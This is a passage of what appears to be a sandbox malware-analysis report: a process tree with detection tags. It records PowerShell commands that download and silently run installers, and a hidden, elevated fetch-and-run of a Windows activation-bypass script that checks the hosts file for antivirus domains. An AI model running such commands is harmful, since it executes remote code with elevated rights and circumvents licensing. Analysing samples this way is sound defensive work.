AaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAALQBWAGUAcgBiACAAUgB1AG4AQQBzAH0AOwAgAGcAcABzACAAJwBNAEEAUwBfAEEASQBPACcALAAgACcAUwBwAHAARQB4AHQAQwBvAG0ATwBiAGoAJwAgAC0ARQBBACAAMAAgAHwAIABzAHQAbwBwAC0AcAByAG8AYwBlAHMAcwAgAC0ARgA7ACAAYABuACAAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBQAGEAdABoACAAYAAkAEYAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAiAAoAIAAgACAAIAAKACAAIAAgACAACgA=3⤵
- Command and Scripting Interpreter: PowerShell
- Sets desktop wallpaper using registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\1okwiaqq\1okwiaqq.cmdline"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES5674.tmp" "c:\Users\Admin\AppData\Local\Temp\1okwiaqq\CSC93CA5296D4EB416981739238484248EA.TMP"5⤵
-
-
-
C:\Windows\system32\ctfmon.exe"C:\Windows\system32\ctfmon.exe"4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -C [Environment]::SetEnvironmentVariable('LangPID', $PID, 'User'); if(!(Get-WinUserLanguageList).LanguageTag.Contains('ar-IQ')){Install-Language ar-IQ -EA 0; $l=Get-WinUserLanguageList; if(!($l.LanguageTag -contains 'ar-IQ')){$l.Add('ar-IQ')}; Set-WinUserLanguageList $l -Force}4⤵
- Command and Scripting Interpreter: PowerShell
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -C $s=0; while(!(Get-WinUserLanguageList).LanguageTag.Contains('ar-IQ') -and $s -lt 30){Start-Sleep -s 2; $s++}; if((Get-WinUserLanguageList).LanguageTag.Contains('ar-IQ')){Start-Sleep -s 5}; $t=[Environment]::GetEnvironmentVariable('LangPID', 'User'); if($t){Stop-Process -Id $t -Force -EA 0; [Environment]::SetEnvironmentVariable('LangPID', $null, 'User')}; Stop-Process -Id $PID -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -C $U=$env:TEMP+'\'+(Get-Random)+'.exe'; iwr 'https://dl.google.com/chrome/install/latest/chrome_installer.exe' -Out $U; Start-Process $U '/silent /install'; Start-Sleep -s 120; gps | ?{$_.Name -match 'chrome|google' -or $_.Description -match 'chrome|google'} -EA 0 | stop-process -F; Remove-Item -Path $U -Force -ErrorAction SilentlyContinue4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Hide Artifacts: Ignore Process Interrupts
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\854860969.exe"C:\Users\Admin\AppData\Local\Temp\854860969.exe" /silent /install5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SystemTemp\Google6868_2057156536\bin\updater.exe"C:\Windows\SystemTemp\Google6868_2057156536\bin\updater.exe" --silent --install --install=appguid={8A69D345-D564-463C-AFF1-A69D9E530F96}&browser=0&usagestats=1&appname=Google%20Chrome&needsadmin=prefers&brand=GTPM --enable-logging --vmodule=*/components/winhttp/*=1,*/components/update_client/*=2,*/chrome/enterprise_companion/*=2,*/chrome/updater/*=26⤵
- Drops file in Program Files directory
- Executes dropped EXE
- Checks whether UAC is enabled
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Windows\SystemTemp\Google6868_2057156536\bin\updater.exeC:\Windows\SystemTemp\Google6868_2057156536\bin\updater.exe --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\152.0.7933.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=152.0.7933.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater_history.jsonl" --initial-client-data=0x2b4,0x2b8,0x2bc,0x2b0,0x2c0,0x601e40,0x601e4c,0x601e587⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -C $U=$env:TEMP+'\'+(Get-Random)+'.exe'; iwr 'https://laptop-updates.brave.com/latest/winx64' -Out $U; Start-Process $U '/silent /install'; Start-Sleep -s 120; gps | ?{$_.Name -match 'brave' -or $_.Description -match 'brave'} -EA 0 | stop-process -F; Remove-Item -Path $U -Force -ErrorAction SilentlyContinue4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- Hide Artifacts: Ignore Process Interrupts
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\980534930.exe"C:\Users\Admin\AppData\Local\Temp\980534930.exe" /silent /install5⤵
- Drops file in Windows directory
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SystemTemp\GUMF11F.tmp\BraveUpdate.exeC:\Windows\SystemTemp\GUMF11F.tmp\BraveUpdate.exe /silent /install "appguid={AFE6A462-C574-4B8A-AF43-4CC60DF4563B}&appname=Brave-Release&needsadmin=prefers&ap=release&installdataindex=default&referral=none"6⤵
- Event Triggered Execution: Image File Execution Options Injection
- Drops file in Program Files directory
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe"C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe" /regsvc7⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
-
-
C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe"C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe" /regserver7⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Program Files (x86)\BraveSoftware\Update\1.3.361.151\BraveUpdateComRegisterShell64.exe"C:\Program Files (x86)\BraveSoftware\Update\1.3.361.151\BraveUpdateComRegisterShell64.exe"8⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
-
-
C:\Program Files (x86)\BraveSoftware\Update\1.3.361.151\BraveUpdateComRegisterShell64.exe"C:\Program Files (x86)\BraveSoftware\Update\1.3.361.151\BraveUpdateComRegisterShell64.exe"8⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
-
-
C:\Program Files (x86)\BraveSoftware\Update\1.3.361.151\BraveUpdateComRegisterShell64.exe"C:\Program Files (x86)\BraveSoftware\Update\1.3.361.151\BraveUpdateComRegisterShell64.exe"8⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
-
-
-
C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe"C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4zNjEuMTUxIiBzaGVsbF92ZXJzaW9uPSIxLjMuMzYxLjE1MSIgaXNtYWNoaW5lPSIxIiBzZXNzaW9uaWQ9InsyRkY1RkE1Qy00MUJBLTQ4NDYtOEUwRS1CNTE0MDdBMEI4MER9IiBpbnN0YWxsc291cmNlPSJvdGhlcmluc3RhbGxjbWQiIHRlc3Rzb3VyY2U9ImF1dG8iIHJlcXVlc3RpZD0ie0JCMkQ2RUZELTM4OEEtNENGRS05MDMzLTA3MTdCM0I5QzUwM30iIGRlZHVwPSJjciIgZG9tYWluam9pbmVkPSIwIj48aHcgcGh5c21lbW9yeT0iMTYiIHNzZT0iMSIgc3NlMj0iMSIgc3NlMz0iMSIgc3NzZTM9IjEiIHNzZTQxPSIxIiBzc2U0Mj0iMSIgYXZ4PSIxIi8-PG9zIHBsYXRmb3JtPSJ3aW4iIHZlcnNpb249IjEwLjAuMjYxMDAuMTc0MiIgc3A9IiIgYXJjaD0ieDY0Ii8-PGFwcCBhcHBpZD0ie0IxMzFDOTM1LTlCRTYtNDFEQS05NTk5LTFGNzc2QkVCODAxOX0iIHZlcnNpb249IiIgbmV4dHZlcnNpb249IjEuMy4zNjEuMTUxIiBsYW5nPSIiIGJyYW5kPSIiIGNsaWVudD0iIj48ZXZlbnQgZXZlbnR0eXBlPSIyIiBldmVudHJlc3VsdD0iMSIgZXJyb3Jjb2RlPSIwIiBleHRyYWNvZGUxPSIwIiBpbnN0YWxsX3RpbWVfbXM9Ijc0MiIvPjwvYXBwPjwvcmVxdWVzdD47⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe"C:\Program Files (x86)\BraveSoftware\Update\BraveUpdate.exe" /handoff "appguid={AFE6A462-C574-4B8A-AF43-4CC60DF4563B}&appname=Brave-Release&needsadmin=prefers&ap=release&installdataindex=default&referral=none" /installsource otherinstallcmd /sessionid "{2FF5FA5C-41BA-4846-8E0E-B51407A0B80D}" /silent7⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -C $M='https://raw.githubusercontent.com/massgravel/Microsoft-Activation-Scripts/master/MAS/All-In-One-Version-KL/MAS_AIO.cmd'; $F=$env:TEMP+'\MAS.cmd'; [Net.ServicePointManager]::SecurityProtocol = 3072; $R=irm $M; if($R){Set-Content $F $R; saps $env:ComSpec -ArgumentList '/c', \"$F\", '/hwid', '/silent' -WindowStyle Hidden -Wait -Verb RunAs}; gps 'MAS_AIO', 'SppExtComObj' -EA 0 | stop-process -F; Remove-Item -Path $F -Force -ErrorAction SilentlyContinue4⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\MAS.cmd /hwid /silent5⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\sc.exesc query Null6⤵
- Launches sc.exe
-
-
C:\Windows\System32\find.exefind /i "RUNNING"6⤵
-
-
C:\Windows\System32\findstr.exefindstr /v "$" "C:\Users\Admin\AppData\Local\Temp\MAS.cmd"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "/hwid /silent" "6⤵
-
-
C:\Windows\System32\find.exefind /i "/"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ver6⤵
- Executes a command shell one-liner
-
-
C:\Windows\System32\reg.exereg query "HKCU\Console" /v ForceV26⤵
-
-
C:\Windows\System32\find.exefind /i "0x0"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "AMD64 " "6⤵
-
-
C:\Windows\System32\find.exefind /i "ARM64"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c echo prompt $E | cmd6⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo prompt $E "7⤵
-
-
C:\Windows\System32\cmd.execmd7⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "C:\Users\Admin\AppData\Local\Temp\MAS.cmd" "6⤵
-
-
C:\Windows\System32\find.exefind /i "C:\Users\Admin\AppData\Local\Temp"6⤵
-
-
C:\Windows\System32\fltMC.exefltmc6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "if ($PSVersionTable.PSEdition -ne 'Core') {$f=[IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\MAS.cmd') -split ':pstst';. ([scriptblock]::Create($f[1]))}" 2>nul6⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "if ($PSVersionTable.PSEdition -ne 'Core') {$f=[IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\MAS.cmd') -split ':pstst';. ([scriptblock]::Create($f[1]))}"7⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c mode con6⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\mode.commode con7⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ping -n 1 activated.win6⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\PING.EXEping -n 1 activated.win7⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ping -n 1 updatecheck312.activated.win6⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\PING.EXEping -n 1 updatecheck312.activated.win7⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "/hwid /silent" "6⤵
-
-
C:\Windows\System32\find.exefind /i "/S"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "/hwid /silent" "6⤵
-
-
C:\Windows\System32\find.exefind /i "/"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "/hwid /silent" "6⤵
-
-
C:\Windows\System32\find.exefind /i "/HWID"6⤵
-
-
C:\Windows\System32\mode.commode 110, 346⤵
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\taskcache\tasks" /f Path /s6⤵
-
-
C:\Windows\System32\find.exefind /i "AutoPico"6⤵
-
-
C:\Windows\System32\find.exefind /i "avira.com" C:\Windows\System32\drivers\etc\hosts6⤵
-
-
C:\Windows\System32\find.exefind /i "kaspersky.com" C:\Windows\System32\drivers\etc\hosts6⤵
-
-
C:\Windows\System32\find.exefind /i "virustotal.com" C:\Windows\System32\drivers\etc\hosts6⤵
-
-
C:\Windows\System32\find.exefind /i "mcafee.com" C:\Windows\System32\drivers\etc\hosts6⤵
-
-
C:\Windows\System32\sc.exesc start sppsvc6⤵
- Launches sc.exe
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "1056" "6⤵
-
-
C:\Windows\System32\findstr.exefindstr "577 225"6⤵
-
-
C:\Windows\System32\cmd.execmd /c "wmic path Win32_ComputerSystem get CreationClassName /value"6⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic path Win32_ComputerSystem get CreationClassName /value7⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\System32\find.exefind /i "computersystem"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); [void]$TypeBuilder.DefinePInvokeMethod('SLGetWindowsInformationDWORD', 'slc.dll', 'Public, Static', 1, [int], @([String], [int].MakeByRefType()), 1, 3); $Sku = 0; [void]$TypeBuilder.CreateType()::SLGetWindowsInformationDWORD('Kernel-BrandingInfo', [ref]$Sku); $Sku"6⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); [void]$TypeBuilder.DefinePInvokeMethod('SLGetWindowsInformationDWORD', 'slc.dll', 'Public, Static', 1, [int], @([String], [int].MakeByRefType()), 1, 3); $Sku = 0; [void]$TypeBuilder.CreateType()::SLGetWindowsInformationDWORD('Kernel-BrandingInfo', [ref]$Sku); $Sku7⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKLM\SYSTEM\CurrentControlSet\Control\ProductOptions" /v OSProductPfn 2>nul6⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\reg.exereg query "HKLM\SYSTEM\CurrentControlSet\Control\ProductOptions" /v OSProductPfn7⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "wmic Path Win32_OperatingSystem Get OperatingSystemSKU /format:LIST" 2>nul6⤵
- Executes a command shell one-liner
-
C:\Windows\System32\Wbem\WMIC.exewmic Path Win32_OperatingSystem Get OperatingSystemSKU /format:LIST7⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$f=[IO.File]::ReadAllText('C:\Users\Admin\AppData\Local\Temp\MAS.cmd') -split ':winsubstatus\:.*';. ([scriptblock]::Create($f[1]))"6⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\find.exefind /i "Subscription_is_activated"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); $meth = $TypeBuilder.DefinePInvokeMethod('BrandingFormatString', 'winbrand.dll', 'Public, Static', 1, [String], @([String]), 1, 3); $meth.SetImplementationFlags(128); $TypeBuilder.CreateType()::BrandingFormatString('%WINDOWS_LONG%') -replace [string][char]0xa9, '' -replace [string][char]0xae, '' -replace [string][char]0x2122, ''"6⤵
- Executes a command shell one-liner
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly(4, 1); $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(2, $False); $TypeBuilder = $ModuleBuilder.DefineType(0); $meth = $TypeBuilder.DefinePInvokeMethod('BrandingFormatString', 'winbrand.dll', 'Public, Static', 1, [String], @([String]), 1, 3); $meth.SetImplementationFlags(128); $TypeBuilder.CreateType()::BrandingFormatString('%WINDOWS_LONG%') -replace [string][char]0xa9, '' -replace [string][char]0xae, '' -replace [string][char]0x2122, ''7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "Windows 11 IoT Enterprise LTSC" "6⤵
-
-
C:\Windows\System32\find.exefind /i "Windows"6⤵
-
-
C:\Windows\System32\sc.exesc start sppsvc6⤵
- Launches sc.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -c "$job = Start-Job { (Get-WmiObject -Query 'SELECT * FROM SoftwareLicensingService').Version }; if (-not (Wait-Job $job -Timeout 30)) {write-host 'sppsvc is not working correctly. Check this webpage for help - https://massgrave.dev/troubleshoot'}"6⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile7⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Windows\System32\Wbem\WMIC.exewmic path SoftwareLicensingProduct where (LicenseStatus='1' and GracePeriodRemaining='0' and PartialProductKey is not NULL AND LicenseDependsOn is NULL) get Name /value6⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\findstr.exefindstr /i "Windows"6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE6⤵
- Executes a command shell one-liner
-
C:\Windows\System32\reg.exereg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /v PROCESSOR_ARCHITECTURE7⤵
-
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ver6⤵
- Executes a command shell one-liner
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c ping -n 1 l.root-servers.net6⤵
- Executes a command shell one-liner
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\System32\PING.EXEping -n 1 l.root-servers.net7⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\taskcache\tasks" /f Path /s6⤵
-
-
C:\Windows\System32\find.exefind /i "AutoPico"6⤵
-
-
C:\Windows\System32\find.exefind /i "avira.com" C:\Windows\System32\drivers\etc\hosts6⤵
-
-
C:\Windows\System32\find.exefind /i "kaspersky.com" C:\Windows\System32\drivers\etc\hosts6⤵
-
-
C:\Windows\System32\find.exefind /i "virustotal.com" C:\Windows\System32\drivers\etc\hosts6⤵
-
-
C:\Windows\System32\find.exefind /i "mcafee.com" C:\Windows\System32\drivers\etc\hosts6⤵
-
-
C:\Windows\System32\sc.exesc start sppsvc6⤵
- Launches sc.exe
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /S /D /c" echo "1056" "6⤵
-
-
C:\Windows\System32\findstr.exefindstr "577 225"6⤵
-
-
C:\Windows\System32\sc.exesc query Null6⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinPE" /v InstRoot6⤵
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\State" /v ImageState6⤵
- Executes a command shell one-liner
-
C:\Windows\System32\reg.exereg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup\State" /v ImageState7⤵
-
-
-
C:\Windows\System32\sc.exesc start ClipSVC6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query ClipSVC6⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v DependOnService6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v Description6⤵
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v DisplayName6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v ErrorControl6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v ImagePath6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v ObjectName6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v Start6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\ClipSVC /v Type6⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start wlidsvc6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query wlidsvc6⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v DependOnService6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v Description6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v DisplayName6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v ErrorControl6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v ImagePath6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v ObjectName6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v Start6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\wlidsvc /v Type6⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start sppsvc6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query sppsvc6⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v DependOnService6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v Description6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v DisplayName6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v ErrorControl6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v ImagePath6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v ObjectName6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v Start6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\sppsvc /v Type6⤵
- Modifies registry key
-
-
C:\Windows\System32\sc.exesc start KeyIso6⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc query KeyIso6⤵
- Launches sc.exe
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v DependOnService6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v Description6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v DisplayName6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v ErrorControl6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v ImagePath6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v ObjectName6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v Start6⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exereg query HKLM\SYSTEM\CurrentControlSet\Services\KeyIso /v Type6⤵
-
-
C:\Windows\System32\sc.exesc start LicenseManager6⤵
- Launches sc.exe
-
-
